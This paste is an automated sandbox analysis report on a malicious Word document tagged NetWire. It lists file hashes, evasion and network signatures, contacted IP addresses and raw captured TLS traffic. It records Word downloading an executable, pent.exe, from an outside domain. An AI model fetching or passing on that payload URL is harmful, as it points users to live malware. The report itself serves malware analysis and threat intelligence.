API tools faq
paste
paladin316

NetWire_1ee421cb362da59e3b4fe64ddbe9c4b7_doc_2019-07-08_21_30.txt

paladin316
Jul 8th, 2019
2,328
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 241.10 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: ""
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "NetWire_1ee421cb362da59e3b4fe64ddbe9c4b7.doc"
  7. * File Size: 495616
  8. * File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jul 8 12:06:00 2019, Last Saved Time/Date: Mon Jul 8 12:06:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0"
  9. * SHA256: "1beb0231e1c2b64ffb6d4d285e7caa0da6111209fb4c9bdd770422c9a17f69d9"
  10. * MD5: "1ee421cb362da59e3b4fe64ddbe9c4b7"
  11. * SHA1: "681cc9f334d13469cc333401bf5a6429754f4d74"
  12. * SHA512: "d802f7d8f89f9cdc5333739dc32a8db07e168bbb851aeb6e638605ff9dade579f3985a98a7a73182fc1551e2df01a334ccda74626c621150f67e5b984a8cbce4"
  13. * CRC32: "FFC648B8"
  14. * SSDEEP: "6144:lZcDr672nDfq92JlONyrv1fUpPF7/t2oKWxsjcry7IRKhe21Vfhshps:lv2nDiYJlcpNR2ogn18"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE"
  18.  
  19.  
  20. * Executed Commands:
  21.  
  22. * Signatures Detected:
  23.  
  24. "Description": "A process attempted to delay the analysis task.",
  25. "Details":
  26.  
  27. "Process": "WINWORD.EXE tried to sleep 250 seconds, actually delayed analysis time by 0 seconds"
  28.  
  29.  
  30.  
  31.  
  32. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  33. "Details":
  34.  
  35. "IP": "52.109.16.5:443"
  36.  
  37.  
  38. "IP": "23.15.4.32:80"
  39.  
  40.  
  41. "IP": "65.52.98.231:443"
  42.  
  43.  
  44. "IP": "52.109.16.4:443"
  45.  
  46.  
  47. "IP": "104.117.28.193:443"
  48.  
  49.  
  50. "IP": "69.192.108.32:443"
  51.  
  52.  
  53. "IP": "104.144.198.27:443"
  54.  
  55.  
  56. "IP": "72.21.91.29:80"
  57.  
  58.  
  59. "IP": "104.18.25.243:80"
  60.  
  61.  
  62.  
  63.  
  64. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  65. "Details":
  66.  
  67. "ioc": "sist02.xsl"
  68.  
  69.  
  70. "ioc": "ontent.inf"
  71.  
  72.  
  73. "ioc": "chicago.xsl"
  74.  
  75.  
  76. "ioc": "chevronaccent.glox"
  77.  
  78.  
  79. "ioc": "rame.glox"
  80.  
  81.  
  82. "ioc": "rocess.glox"
  83.  
  84.  
  85. "ioc": "ist.glox"
  86.  
  87.  
  88. "ioc": "mlaseventheditionofficeonline.xsl"
  89.  
  90.  
  91. "ioc": "ext.glox"
  92.  
  93.  
  94. "ioc": "iso690.xsl"
  95.  
  96.  
  97. "ioc": "rings.glox"
  98.  
  99.  
  100. "ioc": "ieee2006officeonline.xsl"
  101.  
  102.  
  103. "ioc": "e.gu"
  104.  
  105.  
  106. "ioc": "rid.glox"
  107.  
  108.  
  109. "ioc": "..3b"
  110.  
  111.  
  112. "ioc": "nline.xsl"
  113.  
  114.  
  115. "ioc": "gb.xsl"
  116.  
  117.  
  118. "ioc": "rc.glox"
  119.  
  120.  
  121. "ioc": "gosttitle.xsl"
  122.  
  123.  
  124. "ioc": "iso690nmerical.xsl"
  125.  
  126.  
  127. "ioc": "architecture.glox"
  128.  
  129.  
  130. "ioc": "harvardanglia2008officeonline.xsl"
  131.  
  132.  
  133. "ioc": "adial.glox"
  134.  
  135.  
  136. "ioc": "quations.dotx"
  137.  
  138.  
  139. "ioc": "turabian.xsl"
  140.  
  141.  
  142. "ioc": "content.inf"
  143.  
  144.  
  145. "ioc": "rame.thmx"
  146.  
  147.  
  148. "ioc": "pictureorgchart.glox"
  149.  
  150.  
  151. "ioc": "ccent.glox"
  152.  
  153.  
  154. "ioc": "asis.thmx"
  155.  
  156.  
  157. "ioc": "ividend.thmx"
  158.  
  159.  
  160. "ioc": "anded.thmx"
  161.  
  162.  
  163. "ioc": "rop.thmx"
  164.  
  165.  
  166. "ioc": "arallax.thmx"
  167.  
  168.  
  169. "ioc": "erlin.thmx"
  170.  
  171.  
  172. "ioc": "adge.thmx"
  173.  
  174.  
  175. "ioc": "ype.thmx"
  176.  
  177.  
  178. "ioc": "uotable.thmx"
  179.  
  180.  
  181. "ioc": "eadlines.thmx"
  182.  
  183.  
  184. "ioc": "eathered.thmx"
  185.  
  186.  
  187. "ioc": "ircuit.thmx"
  188.  
  189.  
  190. "ioc": "g.n9"
  191.  
  192.  
  193. "ioc": "roplet.thmx"
  194.  
  195.  
  196. "ioc": "amask.thmx"
  197.  
  198.  
  199. "ioc": "late.thmx"
  200.  
  201.  
  202. "ioc": "esh.thmx"
  203.  
  204.  
  205. "ioc": "vent.thmx"
  206.  
  207.  
  208. "ioc": "set.dotx"
  209.  
  210.  
  211.  
  212.  
  213. "Description": "Performs some HTTP requests",
  214. "Details":
  215.  
  216. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  217.  
  218.  
  219. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  220.  
  221.  
  222.  
  223.  
  224. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  225. "Details":
  226.  
  227. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0\\xb2\\xbfc\\x08\\xebf\\x8d\\xfb\\xd6w\\xac\\xe3\\xdd\\xb4\\xbc!0hz !q\\xef\\x06\\xf7\\xb3\\x9dh5\\xe7\\xdd\\xe44$\\xd9\\x95g\\xcc\\xfc\\xad\\xb0\\xac2\\x9al\\x8c1\\xd9\\x08\\xb7\\x9b\\x18'_+\\xec\n\\x19\\xe5`<\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000m\\xe5\\xedw\\xe2\\xc8\\xca\\xb0\\xb8\\xa8)\\xc2(yc?w7\\xf5\\xd6\\xe5\\xc4\\xdc\\xbd4u\\xce\rz,\\xd6i;3\\xbdq.\\xeag\\xf4\\x8fz\\x00\\xb0\\xbdl4\\xeb"
  228.  
  229.  
  230. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x1c\\xd7\\xc3\\x1f\\x14\\x9e\\xc3\\xe9\\x97\\xc7pt\\xfav\\x12\\xfe>\\xe7\\xedd$\\xf2\\xae\\xab\\xc0\\xb5\\xb8h\\xfai\\xde\\x8ao\\x80\\xbb\\x96\\xaa4o3\\xb5q\\x1e\\x1bt9\\x07\\x1a\\xbb\\x13\\xb0\\x1d*\\x11?\\x98\\xc0ah5\\xec.\\x82f\\xd4h\\x9d\\x16\\xd3k%%qwj\\x13p\\x95\\xe8\\xc2\\x89\\xbcg\\x95\\xaa-g\\xe5~m\\xe2\\xe1\\xb3c\\xbb~\\x95\\xa3$b\\xf6\\xa1\\x98\\x163'\\x82\\x8d\\xcao+\\x89\\x9c\\xd9\\xfac\\xe4b\\xc7\\xd0x%\\xbd\\x99%\\x8b\\xff\\xc3\\x84\\xdd\\x15\\xc2\\xec\\x12\\xb0\tk\\x87\\x0c\\x1b\\xe4\\x9bg\\xf6\\xa3l\\x8b\\x8b i\\xc0\\xc8)\\x053\\xac;\\xdb\\x8d\\x18u\\xee\\x88\\x9c\\xb0\\x8fr\\xb9\\x06k'l\\x9b~u\\xe5y`\\x08\\xca\\xa4\\xc7\\xa7\\x99\\xaa\\x13/\\xb6\\x845\\x17\\x1d)\\x16_\\xe5mr\\x01\\xf4~\\xf1\\x86nu\\xa8t7\\x04\\x83\\xe1\\xb3\\x8b\\xb5\\x15v,\\xe3\\xb8\\xf5\\x88\\xad\\xa1p\\xac\\xa6\\x19\\x01\\xb1s\\xcb\\x14\\xac\\xd7\\x12\\xbd\\x12\\x04'\\xd4_d\\xcb\\x01\\xd1"
  231.  
  232.  
  233. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01#\\xac?w\\x88\\x86\\xbfdc\\xe7\\x87\\xfdfd#\\xfa\\xefd\\xd0\\x82\\xbbv\\xe4u\\xc4\\x15m\\x82\\xd3\\x85>\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  234.  
  235.  
  236. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01#\\xac?\\xf4l\\xc9\\xfd\\xb3\\x9e\\xb9\\xaa;\\x08\r~i\\xa5tj\\xab\\x04\\x8b\\xee^\\x07\\xf7\\xba(7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  237.  
  238.  
  239. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\xb7\\x15\\xc6\\xbe\\xcbn\\x97\\x01\\xb1\\xa7\\xa4\\x8a*&kw\\xc57\\x10\\xaf\\xb0s/k)\\xde\\xaf\\xfcq6\\xba\\x9c\\xf6m\\x88\\x9c\\xbd\\xcc6\\xd9wu\\x80 \\np\\x06hn\\x84\\xec\\xa6\\xc1\\xea\\xbep\\x03lk\\x0cv\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x988\\xd1(sr\rg\\xbd\\xd3g&\\xa6\\xa3\\x00\\xac\\xb1h\\xad\\xb85\\xfb\\xa4ep\\xeb\\xfb\\x1aq\\xfb\\xa6\\x9e\\xb4n72(\\x80?=\\xf3'j5\\x0c__l"
  240.  
  241.  
  242. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb8m\\x95\\xa4\\xac-\\x8e>^\\x02\\xe2g_g\\x9a\\xa0% 1l|\\x17z`q\\xef\\x03\\x15o\\xb7\\xc0\\x84\\xf8\\xb6\\x84\\xe1l.\\x82\\x0c@\\xb0\\xb0\nnn\\x98,\\xd1*\\x91r\\x8ej&5\\x076\\x81q\\xbe\\xc1\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0005\\x9a\\x087\\xb1\\xb2=/\\xf6$\\x93j\\x86\\x13\\x87\\x1c\\x9b\\x0e\\xba\\x96\\xa5`\\xc2\\xac\\x97\\x16\\x1e\\xc8ei\\x84v3\\x1d;\\x8e\\xb4n\\x07/p\\xee\\x85\\x9c2\t\\xa1\\x1b"
  243.  
  244.  
  245. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x9fp\\xf6\\xd0+\\xd2\n\\xf9+\\x0f\\x1a\\x8f\\x90\\xe5rj\\x12`\\xe1\\x9c6)\\xb5\\xa4\\xe9\\x9e\\xb9\\x89\\x9a9$b\\xae\\x00\\xac\\x14\\xa0\\xcf3\n\\xadg\\x9b\\x90\\xa0ov\\x8c\\x9c\\x86\\x06\\xa0\\xa2&\\xedy\\x82h\\xee\\xef\\x80.\\xb9;<\\xe0\\xbc\\xe6\\xd9\\xaf\\xb2yr\\x81\\xa2\\xe1\\x8co0u\\x86\\x81\\xb5\\xd8\\x19d\\x81\\x9c\\xd6\\x16f\\x87xr\\xd8\\xf4\\xe5\\xe7\\x87e\\xd6\\x1c\\xef\\x89\\xda\\xe35\\x14%\\x05o\\xfc\\xd5\\xe8\\x0e;\\x17\\x1c2\\x08p\\x87\\x0f\\x93\\xd9m#wx\\xf4\\xae\\x812sa&f\\xee\\xf6j\\xd2.\\xbf\\x82\\x00\\xbe;\\x9fs\\x88e0i\\xe8\\xca\\xa9\\x93*\\xbe\\xd8ey\\xf6z\\x1f\\xd0%x\\xcc\\xe8!\\xf1r\\xac+\\xecx:a\\x00_\n\\xdcvq\\x0f\\xd3r\\x1e\\x1d\\x9e\\x0e\\x86\\x13\\xa7\\xa7\\x15\\x1c\\xfa\\xc1\\x06\\xc8&\\x1bd\\xb2\\xcb\\xb7(y\\xed\\xb21\\xa37\\x8d`\\x1125f\\x1c \\x18\\xf7\\xa8q\\xa1@|\\xc5\\xc7'\\xb8;\\x81\\xa8\\xf1c\\xb6617\\xba\\x84"
  246.  
  247.  
  248. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  249.  
  250.  
  251. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  252.  
  253.  
  254. "http_downloadurl": "winword.exe_URLDownloadToFileW_https://fpayyhh.com/pent.exe"
  255.  
  256.  
  257. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pj`\\xaa\\xd2f\\xcd\\xd4\r\\xf6\\x8cp\\x96!\\xb1\\xfe\\xab%\\xec\\xb0\\xc7\\x7fv\\x07\\xafix\\\\x02ri\\xbf\\xa4\\x02d\\x01\\x9b\\x17\\xe5\\xb1\\xef\\x8bn\\xc2|=j9\\xe4\\xd6\\xcf\\x98\\xac\\x81\\x12\\xbdep\\xf0\\x0f\\x9fj\\xfb\\xb5\\xc4/w\\xa8\\xe8\\xe4%h=\\xd4\\xbf\\xf5\\xbc\\x87\\xbc\\xaf\\x83\\x853\\xe6\\xc8\\x06\\xbc\\x8b\\x93\\xde\\x85\nb\\xaeav='\\xd5\\xe8\\xf6\\xb1\\x85/\\x05b\\xa8\\x96\\xb6`\\xde'k\\x0cz|rw\\x9c+\\x19\\xe5\\x8d\\xf8fm\\x08\\xad\\x88\\xfc\\x1br\\xa0r\\x02\\xb9\\xb4\\x11\\x9b\\x8c\\xb8\\xe8\\x9e\\xd2\\xcb\\x96\\x1a\\xc8\\xd8\\x18<\\xaex\\x08\\x03b\\xe2g\\x9e\\xe4\\xa13\\x10&\\xcff\n\\x9b\\xb9p\\x93mm\\x88\\x9a\\xab\\xc2_q\\xf9ooh)+\\x19\\xee3\\x04\\x11\\xd3\\x93?<\\xd4\\x03\\xa6\\xdd\\xdb&\\xae\\xee\\x1c5g_\\xc9\\xc1v\\x17\\x0cq\\xf5rx\\x9e\\xc2\\x83\\xc0\\xfb\\x1931\\n\\xcb\\x8eqo\\xaa\\xd6\\x13\\xa5\\xd00\\xed\\xb1.x\\xbb\\xe6\\x89\\x86\\x9d\\x18\\x96\\xb8\\xa5~\\xb6"
  258.  
  259.  
  260. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xb2\\x11\\xfc\\xdc_z\\x93\\x9c\\xc1\\xe9n\\xadu\\x86\\xda\\xf4@e\\x07bm\\x89\\x18\\x7f\\xbc\\xce\\xcf\\x00:\\xa9\\x81\\xb0\\x80\\xd4\\xcc\\xaf\\x94\\x86\\xbc\\x85\\x93\\x07\\xea.\\xb4\\xdbc\\xb6\\x04m\\x99)\\xc8)b@d\r\\xd9n\\x84\\xb60\\xb4)\\xe29\\x84\\xd5\\xf5&hk\\xf7\\x9e\\x8a55\\x06p\\n\\x95\\xbb\\xa7\\xb4\\xda\\xd56m&\\x92\\x06o\\xa9s\\xea\\x9f\\x8d&w\\xfc\\x1a\\x89\\x80\\x7fj\\x9d\\xd0\\x9f\\xc8\\xdfyq\\xc2\\x83\\x1f\\xfa\\x90\\x02\\xf3\\xc0lv\\xd4\\xaa+5\\xda;rq\\x1ff\\xb3\\xe6\"\\x1d\\x02\\xc3r\\x9e\\x0c\\xdd\r\\xbe\\xb2s\\xbc\n.a\n\\x83\\xd4\\xfam\\xdf\\xba\\xd1\\x15zi\\x1f1\\xd0m\\xf6f&\\xb6>\t?\\x03d\\x92\\xfcm\\xa2\\xed\\x12\\xdb\\x19\\x8c\\x00\\xe8\\xde8y\\xfb\\xb4\\xf9\\x867\\x8e\\x92\\xa0ao\\x00\\x1e%\\x8a\\xf6izu\\xbchw\\x1cm\\x9a\n\\xaf\\xdaz\\x8b\\xd0d\\x93uh\\xd1\\xb0\\x1dz\\xbak)\\x13\\xc6>\\x1e\\xff\\xacs!\\xcer\\xe0^s\\xf4\\xc9\\x88"
  261.  
  262.  
  263. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01#\\xacf\\x13\\x95\\xfc\\xcak:\\xdc\\xec\\xe3\\x8cy\\x9eq\\xf0\\xf4\\xa1wm\\xda\\xc3$\\x02\\x85\\xe4\\x1c\\x9b\\x8f\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  264.  
  265.  
  266. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00w*#+d\\xfb\\x89\\x05v\\xf9\\xcb\\xf1\\xe8\\x88>\\x07~\\xba\\x18j\\xd6\\x81\\xc0fpm\\x07\\xf3\\xe4\\x04\\xb6\\xfd\n\\x88n\\xd8b\\xbb\\x8e\\x9b>\\x9b5\\xafp\\x8dk^\\x92y\\xc9l\\xb6\\x93\\x91ft\\xba\\xe8ib\\xfa&\\x9f\r28p\\xddo\\xc9\\xcb\\xbcq\\xa9\\x81\\xec\\xaa\\x01d\\xbcx\\xc7\\x03\\xc5\\xc5\\xa9f\\xe2\\xfc$\\x01\\xea\\x05\\xe5\\x0f\\x07x\\xbf?\\x96\\xe03\t\\x9c<\\x08\\xa1q\\xc4?\\xdcw\\x04\\x83\\xfe\\x14\\x11\\x1e5 \\xfc\\xb5~b\\x90\r\\xe8\\x82\\xde^\\x85\\xe4\\x85gg\\x9a\\xc0\\xf9\\xb0\\x15x,\\xc8\\x9bl\\x82\\xb9mi\\x9e\\xdd!\\x06\\\\x94p\\x99\\x87\\x08\\xef\\xe1\\x07\\xa0u5\\x98\\xc9=\\x1e\\x96\\xd4l\\xdd\\xb0.x\\xfd\\xcf\\x05o\\xc3\\xeb\\x93\\xefqu\\xf2\\x90\\xdfb\\xea\\xcd%\\x8c\\x85\\x11qr\\xa4\\xb8\\xecig#k\\x9a\\xf2\\x1fx\\xc3e\\xb5\\xfd\\x08\\xd4\\x0c\\xea\\xd9:\\xef\\xcay\\xa7\\xf4\\xa8\\xbc\\xcf=y\\x9c\\x06\\xa0m\\xeaz\\xb97\\xc8\\xf4j\\xfc"
  267.  
  268.  
  269. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x8c\\x9c\\xbdfe\\xcf7\\xa4\\xa3\\xd7x7\\xb90u>\\xf1\\x19n\\xb1\\xaa\\xeb\\xe2\\xfa\\\\x95k\\xe3\\xfc\\xf2\\xe5j\\x08w\\xfc\\xb4s\\x82l\\x98i\\xa4\\xf7\\xba\\xae\\xb3\\xc7\\xc4\\xa6t\\x1d\\x8e\\x1e\\xdd\\xb6s\\x80\\x01\\x86)\\xf8\\xa1y)\\x96\\xdcig\\xb2\\xfcrr\\xa5\\xe8rm\\xbfa\\xdb\\xd8\\xc5^\\x0f\\xb2a\\xabfc\\x16a\\x99\\xeb\\x16\\xf92\\x0f\\xf0\\x1es\\x8as\\xa5\\xc1\\x04p\\xe5\\xdb+\\xf2\\xf4\\x01aqzb\n\r\\x89v\\xec\\xc4\\xf9\\xe4>\\xa1\\x85\\x00 #^\\x9b\\x155x\\xf2\\x0e\\x8d\\xd0b\rw\\xe3\\x8d\\x88\\xdb\\x84\\xb0\\x1c\\xf2^\rv\\xcb\\x7f\\x05\\xb58\\x0f\\xd4pd'c\\xa1\\x90a\\xdeg\\x1e\\xc9\\xf3sxo\\x8br<d\\x81:\\x89\\xd0a\\xe5j\\xe3>0\\xb5$\\xae\\x9d\\x84\\xf09\\x16\\x96i\\xaf6\\x90\\xc5\\xe2?\\xf5\\x1d\\xe8q\\xb1\\xb8 y*\\xa7\\x11\\x91\\xcca';xt\\x05\\x92\\xc4\\xd4\\xdex\\xffw\\xa5-\\x1a\\x95p\\x1ek\r/\\xf4x\\xc3\\x0f|\\xe9\\xb1\\xda"
  270.  
  271.  
  272. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\x94\\x86\\xdb\\xc0\\xe3^.l\\xf6\\xd0\\x07\\x7f\\xf0\\xb9\\xe3\\xf4\\x7f\\x16/(\\xe4\\xfe\\x01h\\x95\\xb5\\x8e\\xd4\\xbf\\x19s\\x85\\xa7y&\\xd3/\\x8f\\xca\\xa4\\x82n^t\\x1e\\xab\\x99\\xe5+\\xadm#\\x02\\x90z\\x1bq9\\x9d\\x04\\xf9\\x8d\\x03\\xd0\\x8c*\\xfe\\x9f\\x838\n\\x16\\xcda\\xcf\\x14\\xdb\\x97\\xfc\\x12\\xf7\\xe9\\xd0~\\xf1\\x11\\x16\\xd5i\\x80zpv_\\xdc\\x12`\\x96\\xf7\\x04 \\x8c9>n\\xa7\\xdet\\xc8xd\\x16\\x94:%\\x0b3\\x06\\xd4\\xd1n|\\x8f\\x8a\\xc1\\xe7\\xa9gv\\xfe\ryk\\xe8!\\xf7\\x18\\x13s\\x97.\\x8akv\\x83\\xd3\\x1a\\xbd\\xa4;\\xe1\\xa6\\xf8\\x88w\\x90\\x96z\\xf7\\x9f\\xc0>\\xcf\\x0b=\\xe3\\x15|\\xaf\\x1ex\\xa9\\xd8+,\\x0c\\xbb\\x0f\\xf9\\x1e\\xd2gy\\xbap\\xe5p\\xc3\\xb2\\x9enk|\\xa4\\xcf\\x95\\x0c=d\\xe7l\\x88u\\xac\\xf41\\xf2\\xfc\\xc0p\\x03\\x83d\\xbd\n\\x19o\\xc0\\xfa\\xab\\xfcf\\xed\\x82\\xc2p^ul\\x17f\\xe6\\x9es4\\x1f\\xddi\\xc2\\x1ef\\xe6iz\\x9b\\xa2.\\x1en"
  273.  
  274.  
  275. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01#\\xaci\\x93\\xbe0\\x86\\x14j\\xcf5\\xc0:\\x0e(\\x8b\\xc1\\xee__u\tw\\xe2\\x01\\x12!\\xc2\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  276.  
  277.  
  278. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9f\\x04\\xce\\x0ba_y\\xba\\xab\\x9eu\\xa0e#f\\xebw\\xfes\\xdd\\xef2\\x95\\xa1i\\x90\\xdam\\xab\\xf5p\\xe5\\x9e\\x10\\xfdj\\xb8t\\xa7bpmch\\xab\\xe2\\xc4\\xec?\\xe1h\\x866\\xd3\\xc5n\\xb6\\x1fz_\\xfc\\x86\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe6\\x9f\\xc63\\xd8s\\xc4\\x14\\x85/ \\xb5\\x82s\\x08\\xdb4\\xb3\\xc3\\xe6\\xd2\\x84\\xa78\\xc1\\x1f`\\xe0g&0=b/b+\\xd7\\xc9\\xb0b\\xfa\\xefz\\xcc!4\\x0c"
  279.  
  280.  
  281. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pw^c\\x81@\\xdcn\\x18\\xca\n\\x9aa\\x97\\xb0\\xe6\\xb8v\\x01\\x0c\\xc6\\xc9((\\xccby\\xe4e\\x0f\\x13\\xc7n\\xa8\\xc9@\\x88\\x91\\xfe\\xbb\\xaa2\\x8e\\xb4:+\\x9fj\\x95\\xc1\\xe1\\x02%\\x88\\xe7\\x96\\xe2\\xe6cm\\xc2)q\\xbc\\xd6\\xf3\\xed\\xeelc\\xeb\\xa7\\xa5(w\\xa9ox\\x8f\\xe8\\xf8^\\xc7\\xc2\\x9d\\x15\\xb0\\xf42\\x94\\xa2u$\\xe6\\xdf\\xdb\\xa2\\x1b\\xcb\\xd1\",7d\\xc93\\xab\\xe2\\x15\\xf2b\\x1e\\x8b\\xed\\xd7x=g\\xdd\\x86m\\x18\\xffrkb\\xbd\\xab\\x89\\xde\\x81\\xb0\\xce\\xb7\\x04\\xf2ny\\x0f\\xff\\x80,\\xf0\\xe6\\xb9\\xc1\\x85\\xdc\\x06mb\\xf3(k\\x06h~\\x01i\\xcf\\xe3\\xf6\\xf9\\x85\\xc1_r\\x04\\xd9a\\x9cw|9\\xb4,\\xc94\\x99#\\xb7\n\\xd0\\x9a\\x84p\\x81\\x9d\\x16\\xbf\\x04\\xa7\\xa3\\x98\\x8f7\\xac\\xb9v\\xfcsuiep\\xdb*\\xdc\\xb4\\xc9m\\xdf\\xc2\\x90#\\x7f\\xc7\\xb5\\x1dr\\xf3\\xa2f\\xf0\\xabm?j\\xd48\\xe4e*\\x9de\\xbf\\xb6w\\xa6n\\x99\\xf4\r\\xa1\\xc1\\xa0\t"
  282.  
  283.  
  284. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xb6\\x8a\\xf1\\x10p\\x1b\\x02p\\x1d\\xf3@\\x1e\\xdc\\x93\\xc4\\xc7 \\xa8\\xe1u\\xc9z4\\xeca\\x80\\xa3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  285.  
  286.  
  287. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xd1\\x04%\\x10\\xde\n\\xea&hg\\xf0\\xddp\\xf3\\xf8zd\\x1d(i\\xb2cx\\xa0z%_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  288.  
  289.  
  290. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x02\\x10\\x17?1\\x0f\\xed\\xd6\\xaeo\\xec\\xcbq\\xd2v\\xa7\\x112\\x95\\xcd1\\x93\\xeb\\x19\\xd0m\\xb1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  291.  
  292.  
